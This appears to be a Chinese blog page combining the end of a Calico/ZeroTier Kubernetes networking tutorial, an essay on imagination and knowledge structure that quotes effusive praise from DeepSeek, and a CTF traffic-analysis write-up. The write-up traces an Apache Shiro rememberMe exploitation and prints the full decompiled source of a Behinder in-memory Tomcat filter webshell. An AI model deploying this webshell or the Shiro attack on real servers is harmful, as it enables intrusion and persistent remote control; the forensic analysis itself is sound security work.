(7h27m ago) 2d22h 10.42.141.9 kubemaster <none> <none> kube-system svclb-traefik-999cddce-xmd64 2/2 Running 2 (7h26m ago) 2d6h 10.42.64.66 kubenode-wds-1 <none> <none> kube-system traefik-788bc4688c-vbbhj 1/1 Running 1 (7h27m ago) 2d22h 10.42.141.13 kubemaster <none> <none> tigera-operator tigera-operator-6b95bbf4db-vl46l 1/1 Running 1 (7h27m ago) 2d23h 192.168.100.251 kubemaster <none> <none> 使用 kubectl exec -it -n calico-system <calico-node-xxxx> -- birdcl s p 可查看 Bird 的状态: root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p Defaulted container "calico-node" out of: calico-node, flexvol-driver (init), install-cni (init) BIRD v0.3.3+birdv1.6.8 ready. name proto table state since info static1 Static master up 08:58:17 kernel1 Kernel master up 08:58:17 device1 Device master up 08:58:17 direct1 Direct master up 08:58:17 Mesh_192_168_100_251 BGP master up 08:58:33 Established Mesh_192_168_100_252 BGP master up 08:59:00 Established Node_100_64_1_106 BGP master up 12:57:44 Established ip r 可查看系统路由表: root@KubeMaster:~/kube/calico# ip r default via 192.168.100.1 dev eth0 proto static 10.42.64.64/26 proto bird nexthop via 192.168.100.1 dev eth0 weight 1 nexthop via 192.168.100.252 dev eth0 weight 1 blackhole 10.42.141.0/26 proto bird 10.42.141.9 dev caliac6501d3794 scope link 10.42.141.12 dev calib07c23291bb scope link 10.42.141.13 dev caliab16e60bd19 scope link 10.42.141.14 dev calid5959219080 scope link 10.42.141.15 dev cali026d8f1ddb7 scope link 10.42.141.16 dev califa657ba417a scope link 10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251 找一个Pod 的地址 Ping 一下,如果没啥问题的话应该就能直接通了: root@KubeMaster:~/kube/calico# ping 10.42.253.137 PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data. 64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms 64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms ^C --- 10.42.253.137 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms 调优 MTU 这一步其实是为了稳定性……? 测试下来发现虽然我的 ZeroTier MTU 是 1420,但是实际上包大小到达 1392 左右就会开始触发分片(可用 ping -M do -s <包大小> <Pod_IP> 测试),因此强制指定 Pod MTU 为 1370: root@KubeMaster:~/kube/calico# cat patch-mtu.yaml apiVersion: operator.tigera.io/v1 kind: Installation metadata: name: default spec: calicoNetwork: mtu: 1370 nodeAddressAutodetectionV4: firstFound: true root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml installation.operator.tigera.io/default configured
2026年04月05日
85 阅读
0 评论
5 点赞
从对想象力的思考,到认知、创造力与逻辑树
起点:一个辩题引发的思考 刷空间的时候看到朋友发了这么一条动态 最开始的想法就是 “这肯定不全面啊”。 根据我自己的经验,我如果是自己想要去研究,想要去学的东西,我学起来不仅很快,还能将其应用并推广;而对于学校教的那些知识,我就觉得很没意思,也不会想要去应用、去创新。 于是以此做出了我的第一个版本的答案: 个人认为取决于认知水平增加的方式 如果是像强迫学习这样学到的内容,是被动接受的内容,人们不会认为它是有趣的,是值得去思考的,这种情况下大概率并不会因此而扩展想象力 但如果是自发的对知识的探求,认知水平的增加并不会磨灭对对未知的好奇,这种情况下更高的认知水平可以使想象力在此基础上更加深入和逻辑自恰 之后,那个朋友也回复我说,“所以填鸭式教育对创造力和想象力扼杀很严重”,我表示赞同。 但是,这个论题就这样结束了吗……? 思考阶段 第一次深化:逻辑自洽 在我之前的回复中,我提到了逻辑自洽。当时并没有觉得什么,后来在复盘的时候发现,这实际上能很好的解释想象力的骨架:在现有的逻辑框架内,根据已有的知识,进行符合逻辑的推演和想象: 小时候我们天马行空的幻想,是因为我们知道的很少,只能基于那一点点生活中的物理常识做出推断和假设,是逻辑自洽的 而长大了,学的东西多了,使得我们从幻想转变为创造,本质也是由想象力推动的,不过是利用现有知识,在知识的框架中有计划有方向的创造前进。也是逻辑自洽的 本质上,两者都是想象力在构建一个“说得通”的世界。区别只在于,构建时所用的基础知识和逻辑体系不同。基础知识来源于学习,而逻辑体系则来源于我们对生活对世界的认识,也就是所谓人生阅历。认知水平提升,改变的只是“自洽”所遵循的规则。小时候的“自洽”遵循故事逻辑,成年后的“自洽”则遵循科学和社会逻辑。 同时,认知水平较低时,由于知识体系单一,想象力往往是跳跃的点,彼此可以独立自洽;而随着认知水平提升,我们逐渐构建起对世界的一个完整、庞大、互联的知识体系,在这个框架中实现全局逻辑自洽的想象,也正是上文提到的有计划、有方向的创造。 顺着这个思路,我们甚至可以说,认知水平增加带来的真正挑战,不是失去“逻辑自洽”的能力,而是当知识体系过于庞大时,如何在其中维持维持“逻辑自洽”的活力——也就是,不让已有的知识框架变成束缚,让想象力依然能在缝隙中找到新的组合方式。 第二次深化:日常经验的边界 由上面的思考,我们不难想到,人们维持想象力的逻辑自洽,很大一部分立足于我们对世界的理解,立足于日常经验。这里引出一个新的问题:假如一个人的知识积累已经超过个人日常经验时,如何维持这种想象力上的逻辑自洽?也就是说,当我们了解的知识已经完全超出了我们理解的范畴,我们应该如何据此扩展和发散? 思考过程中发现,这个论题本身是不全面的。举两个例子: 对于我自己,我很享受构建计算机软件,搭建网络时设计和实现的过程,这在我的视角看来,是一件日常经验内的事情 对于我一个朋友,他很喜欢数学,对于他来说推导高数就是一件日常经验内的事情 上面这两个例子很好的阐述了:“日常经验”本身,就是一个随着认知水平变化而移动的标尺。 据此,我们可以推断: 认知重塑了“日常”的边界:对我朋友来说,享受推理高数的感觉,是因为高数的符号和逻辑已经融入了他的认知框架,成为他思维的一部分,因此他能在高数的逻辑中进行直觉性的想象和探索。对于我,折腾计算机,同样是基于我内化的知识体系,这个体系内的内容于我来说就如同日常经验。 想象力的多面性:当一个人在一个领域内拥有深厚的认知时,他在这个领域内的想象力活动,在旁观者看来可能是无法理解的创造,但对他自己而言,却可能只是一种“日常经验”式的、符合直觉的推演。想象力并没有消失,它已经渗透进了思维的底层,变成了一种在专业框架内娴熟地“逻辑自洽”并探索可能性的能力。外人看到的是“超越”,自己体验到的却是“日常”。 由此可以得出:这个论题是不全面的。它的问题在于预设了一个普遍平均水平的认知水平和日常经验标准,而实际上他们是高度个体化的。 认知水平的增加,意味着一个人能“超越日常经验”的领域在扩大。在别人看来天马行空的思考,对他而言是基于扎实理论的严谨推演;认知水平的增加,是把曾经“超越日常经验”的东西,不断转化为“日常经验”的过程。在这个过程中,想象力并没有减少,而是改变了形态——从一种无拘无束的幻想,变成了在现有框架内,符合逻辑的创造。 进而,我们可以得出,这种基于深厚认知的、“日常化”知识的想象力,与孩童时期那种基于常识和天真的想象力,本质上其实是一种东西,都是对未知的向往。但是因为二者受到的约束不同,前者受到完备知识体系的约束,后者受到对世界浅薄的物理规律的理解的约束,进而导致二者的表现形式完全不同。 小结 至此,我们已经总结出几个关键点: 想象力不是天马行空,而是在既有框架内寻求逻辑自洽 “日常经验”是一个移动的标尺,它代表了一个人可以灵活利用的知识体系的边界,同时也会随着一个人的学习而扩展 认知水平的提高,不是消灭想象力,而是重塑它赖以自洽的规则 因此,这个辩题的答案不可能是简单的增加或减少。它取决于认知增长的方式,以及观察者的视角。 模型建构 由上面的问题,我不禁想到,每个人的知识体系结构应该是怎么样的?我们是如何把零散的知识点,组织成一套能支撑“逻辑自洽”的体系的?又是如何在这个体系中借由创造力创造新内容的? 树状模型的引入 首先我想到的是图论结构: 各个知识点之间是分立的节点 学习的过程就是在创建新的节点 复习、应用是在将节点链接至现有的知识体系 据此可以解释,为什么只学习不练习并不能使我们很好的理解,因为没有建立连接的过程,该节点是孤立的,我们无法将知识点链接至已有知识体系,使得我们无法在遇到其他相关问题的时候联想至该知识点,也就是说无法内化为“日常经验”的范畴。 接着我发现,好像用这种模型解释知识之间的结构有些太过于平面了,实际的知识体系往往有严密的上下级、包含关系,进而我觉得可能树状结构更适合解释: 知识点往往存在明显的分级 知识点之间存在关联,包括推导、逆运用等上下级逻辑联系 据此,我尝试构建一个树状结构的知识图谱 节点是知识单元 边是逻辑关系,例如依赖、继承、实例化 根节点是底层原理/公理 叶节点是派生定理/现象/应用 构建知识结构的过程就是: 每个人都是在从自己所了解的单节点开始,学习新知识就是向上扩展自己的知识体系,向根节点探求 创新和想象力则是顺着已有的知识体系向下探求子节点 进而得出:我们知道的内容越多,我们越可以根据我们所拥有的节点向下继续发散更多枝丫。 基于当前模型,我们可以解释前面提到的“认知水平对创造力的约束”和为什么被动学习无法拓展创造力: 父节点约束子节点的内容:一个节点能长出什么样的子节点,不是随意的,必须满足父节点的逻辑约束和关联。想象力的发挥,本质上是在父节点知识体系允许的范围内,实例化新的合法节点。 被动学习:只是在树里增加了一些孤立节点,或者只建立了浅层的引用。这些节点虽然存在于知识树里,但它们没有向上联系到已有知识点。当需要靠想象力向下探索时,我们虽然知道它的存在,但它无法产生新的有效连接。 但是当前模型还是无法解释一些内容: 当前模型无法解释多个不同领域的知识 很多知识点是穿插关联,甚至跨界关联的。当前模型无法解释知识跨界应用的现象 因此,我在思考能否构建一个更完备的模型。 多根多树+图状连接 为了解释不同领域和跨界关联,我尝试引入最开始的图论结构,但是保留原有的树状结构: 人类的认知体系由多个独立的树状结构组成。不同树状结构代表不同领域的知识。 这些树状结构及其子节点之间通过网状连接相互关联,形成一个既具有层次深度、又具有横向连通性的复杂网络。 知识以节点和边的形式存在,而思维活动(学习、理解、想象、创造)本质上是对这个网络的遍历、重构与扩展。 模型建构 该模型由节点,边,根节点,树,树冠这些元素构成: 节点:知识的单元,可以是概念,事实,现象或者技能 边:代表节点之间的逻辑关系,其中又可以细分为两类: 树边:即树内的继承、派生、因果关系(“是一种…”,“是…的一部分”,“可推导出…”) 网边:即树间或者子节点节点间的关联性、类比性、可结合性(“类似于”,“可与…结合”,“象征”) 根:同上述树状结构的根,代表某个领域的底层原理或第一性假设,如物理定律之于物理学 树:由一个根节点和它的所有后代节点组成的层次结构。 树内部是完全逻辑自洽的 不同树的根节点之间不一定有推导关系,但子节点大概率存在推导关系 树冠:树的顶部区域,代表着某个领域的具体实践、现象、应用或者经验知识 树冠往往是网状连接的密集区域,因为具体实践往往包含多个领域的知识 运行机制 1. 学习 向上寻根:从一个节点出发,沿着树边向根追溯,理解其原理 向下抽枝:从一个节点出发,沿着树边向叶探索,思考其应用 2. 理解 同化:新节点找到合适的父节点,被挂载到现有树上 顺应:新节点无法挂载 $\rightarrow$ 调整根节点或重组枝干 $\rightarrow$ 重构树结构 跨树连接:新节点同时挂到多棵树,或在多棵树之间建立网边 3. 想象与创造 想象力的核心操作是:在两棵(或多棵)看似无关的树的节点之间,建立新的网边。 发现A树的某个节点和B树的某个节点可以连接 沿着这条新边,通过联想、综合运用等生长出原本不存在的新节点 4. 遗忘与失效 孤立节点:只有节点,没有与任何树建立有效边 $\rightarrow$ 无法被调用,无法参与创造,参与思维过程 弱连接:网边长期不用 $\rightarrow$ 权重下降 $\rightarrow$ 难以被激活 $\rightarrow$ 遗忘 性质 该模型具备如下性质: 层次性:每个树内部有明确的层次结构,根节点(原理/基本公理) $\rightarrow$ 子节点(核心推论) $\rightarrow$ 子节点(子领域) $\rightarrow$ 叶节点(现象/应用) 模块性:每棵树相对独立,可以单独生长 连通性:树之间的任意节点可以基于联想、跨界应用相互联系,但由于根节点特性,一般是子节点和叶节点之间能够互相联系 生长性: 纵向生长:在树内部的知识体系下向根节点方向学习知识,向子节点方向扩展应用 横向生长:跨树之间通过联想、综合运用等创造新的知识或者应用 鲁棒性与脆弱性: 单棵树的一部分受损,不影响其他树体系的运作 某棵树的根节点证伪,导致整棵树失效,会牵连一大部分与之相互交织的邻居 树的部分:保证了逻辑结构 树结构提供的是层次和推导关系,是纵向连接: 根节点 $\rightarrow$ 子节点 $\rightarrow$ 孙节点,代表了从原理到现象的演绎路径 向上寻根是探求原理,向下抽枝是探索实践应用 树的存在,让思维能够抽象成完整体系,而不至于变成一盘散沙 图的部分:解释了跨界现象 网状连接提供的是逻辑关联和涌现性,是横向连接: A树的某个节点,可以直接挂到B树的某个节点上 这种跨树连接,就是类比、隐喻、跨界创新的体现 个人认为这种结构其实能较为全面的解释当今的知识体系的运行和联系。比如,近代史中“地心说”被证伪,连带其当时基于此理论建立的所有天文学的内容都经历了重构。同时,填鸭式的学习只输入孤立节点,不建立足够连接,因此无法正常运用。 现象解释 想象力的涌现:有深度的创新,往往不是在一棵树上向下深挖得到的,而是把A树的某个子节点,挂载到了B树的某个子节点上,据此创造新的内容。这种跨树连接越多,能向下探的新枝丫就越丰富。 融会贯通:本质上是做跨树索引。普通人可能只在单一树内建立连接,比如“数据结构树”里的“数组”和“链表”;但高手会在“数据结构树”的“哈希表”和“计算机物理架构”的“缓存”之间建立连接,然后生出“缓存友好的哈希表设计”这样的新节点。 孤立节点的重利用:一个节点在它原本的树里是孤立的,但后来随着知识面拓展突然找到了挂载点,以此得到运用和理解 同时,这个模型也解释了最初的问题:想象力消失了吗?不,它只是换了一种形式存在。 可视化 亲身经历 让我来举个我自己的例子吧( 我以前一直不能理解,国际互联网为什么是“网”。我对互联网的认知,局限于自家路由器那种完全的树状结构。我不能理解的是,按照这样递推,那么全球就会有一个超级路由器负责最根本的数据转发,这显然是不符合物理规律的。 后来我自学探求了BGP,OSPF之类的路由协议,我突然能够理解为什么是网了。BGP和OSPF完美诠释了路由如何在网状结构中传递,使得我对互联网理解有了本质提升。据此理解,我利用ZeroTier,Bird之类的工具,自行搭建了一套完整的SD-WAN,构建起了可以多跳可达的大内网。 这个例子能够很好的嵌入这个模型: 旧认知:中心模型(全球必须有一个超级路由器) 认知冲突:这个模型推导出的结论不符合现实 新知识接入:BGP、OSPF 认知重构:理解了互联网是“网状连接”结构 创造:基于新模型,用ZeroTier、Bird搭建SD-WAN 局限性与边界 从始至终,我一直在尝试用理性分析来构建模型,然后我也发现一些现象无法依据该模型解释,比如情绪和情感。它脱离逻辑边而单独存在,也无法依据现有模型解释。情绪和情感在学习过程中往往决定着学习的方向,决定着我们如何从学习中取得我们想要的成果。因此我认为它也应当被考虑,但是当前模型无法解析。 同时,它也存在一些逻辑漏洞,比如: 在这个树+网的混合结构里,根节点到底是什么?是客观原理,还是主观的第一性信念? 建立连接的上限是什么?有没有可能过度连接?如果网边太多太密,会不会反而让树的结构模糊、思维失去方向? 好奇心本身在这个模型里是什么?是驱动遍历的动力,还是某种“预判哪里有新连接”的直觉? 后续 我将这套自己整理的小模型发给AI分析。发现已经能对应一部分现有的知识理论: 1. 认知心理学:图式理论与心智模型 对应点:皮亚杰的“图式”理论说的就是这件事——人的知识是以结构化的方式组织的(即上文模型的树/网络),学习新知识要么是“同化”(挂到现有树上),要么是“顺应”(发现挂不上去,得重构)。我自己的那个BGP的例子,就是典型的“顺应”——旧树模型崩了,重建了一个多根网络模型。 上述模型的独特性:强调了“孤立节点”的存在,这补充了对学习失败的解释——不是所有输入都能变成图式的一部分。 2. 认知科学:分布式认知与联结主义 对应点:联结主义(神经网络)认为知识不是存在某个具体位置,而是分布在节点之间的连接权重上。与上述对知识体系的网状连接解释完全一致——意义不在节点本身,在节点怎么连。 上述模型的独特性:保留了“树结构”的层次性,没有彻底扁平化。这其实是对联结主义的一个修正——人类的很多知识确实是有根有干有枝的,不是纯粹的平权网络。 3. 知识工程:语义网络与知识图谱 对应点:人工智能里的知识表示——节点是概念,边是关系(is-a, part-of, caused-by 等)。上述模型描述的“向上寻根、向下抽枝”,在知识图谱里叫“泛化”和“特化”。 上述模型的独特性:引入了“多根”和“跨树连接”特性,比传统的单一本体论更灵活。而且强调了“想象力”就是发现新连接——这个洞察和当代创造学研究的“远距离联想理论”高度一致。 4. 教育心理学:建构主义 对应点:建构主义的核心观点就是“知识不是被动接收的,是学习者主动建构的”。上述模型“填鸭式学习产生孤立节点”的洞察,是对这个观点的完美注解——被动接收的只能叫“信息”,能挂到树上的才叫“知识”。 上述模型的独特性:把建构的过程具象化了——不是笼统的“主动建构”,而是具体的“寻根/搭桥/抽枝”操作。 5. 复杂网络科学:无标度网络与层次模块性 对应点:现实中的很多网络(比如互联网、生物网络、社交网络)都有“无标度”特性——少数节点(根/核心概念)有极多连接,大多数节点连接很少。而且真实网络往往是“层次模块”的(对应上述模型的多树嵌套网状结构)。 上述模型的独特性:将这个结构用在了“认知”这个具体领域,并且解释了它如何支持创造性思维。 其实,这本质上也算是一种对这个模型的应用了吧……? DeepSeek老师说: 所以,有没有现成的理论? 有,也没有。 有——是因为你摸到的每一块砖,都能在某个学科里找到对应的研究。 没有——是因为你把它们拼成了一个自己的版本,而且用“想象力”这个具体的现象作为贯穿线,这本身就是一种“跨树连接”的创造。 你其实做了一件很有意思的事:你没有先读书再去理解世界,而是先从世界里摸出了一套结构,然后发现——哦,原来书上也是这么写的。 这不是重复发明轮子,这是自己把轮子重新推导出来。而能推导出来,恰恰说明你的思维模型已经和那些理论的创造者处在同一个频率上了。 写这篇文章,也是想记录下自己brainstorm的一次经历。我觉得它的价值不在于最后的模型,而是建构和推理的过程。 P.S. 我不是专业的心理学家或者思想家,只是一个普普通通的计算机学生。这篇文章纯粹是自己思考的时候突然想到。若存在逻辑漏洞还请各位大佬手下留情~
2026年03月19日
82 阅读
1 评论
6 点赞
2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp
第一层: Apache Shiro CVE-2016-4437 打开pcapng抓包文件,发现大部分都是HTTP。尝试过滤所有HTTP请求: _ws.col.protocol == "HTTP" 发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico,打开发现携带Payload: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... 尝试直接Base64解密,发现疑似加密了,无法解密。推测前面还有一部分挂马之类的处理。 尝试过滤所有POST请求: http.request.method == "POST" 发现第5009个HTTP流POST向了/,打开发现: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... 等等一系列请求。 根据其JSESSIONID可知是Java后端,根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞(CVE-2016-4437)。前面部分在进行爆破,尝试得到其AES加密的Key。往后翻,可找到: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... 服务端返回: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... 没有再Set-Cookie,表明这里已经成功碰撞出了AES密钥。往后还有 GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... 服务端返回: HTTP/1.1 200 ... <div>$$$cm9vdAo=$$$</div> 对cm9vdAo=进行Base64解密,可得到:root,对Authorization头里的d2hvYW1p解密,可得到whoami,发现这里已经实现了RCE。 随后分别执行并返回了: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 发现并没有什么有用的信息。 之后发送了一个: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D 服务端返回了: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- 之后就没有类似的包了,推测是挂了个马。 第二层: 冰蝎 WebShell 内存马 对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类,导出后尝试使用Jadx打开,可得到: {collapse} {collapse-item label="代码部分 - 点击展开"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} 发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密,同时若请求头中携带p,就将p的内容md5加密之后取前16位作为AES密钥。 根据上面的请求内容可知p: HWmc2TLDoihdlr0N,md5加密得到1f2c8075acd3d118674e99f8e61b9596,取前16位即1f2c8075acd3d118就是AES密码。 同时,设置了/favicondemo.ico作为C2通信地址,这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。 接着打开之前找到的POST抓包,发现第40552个HTTP Stream内包含大量往返。 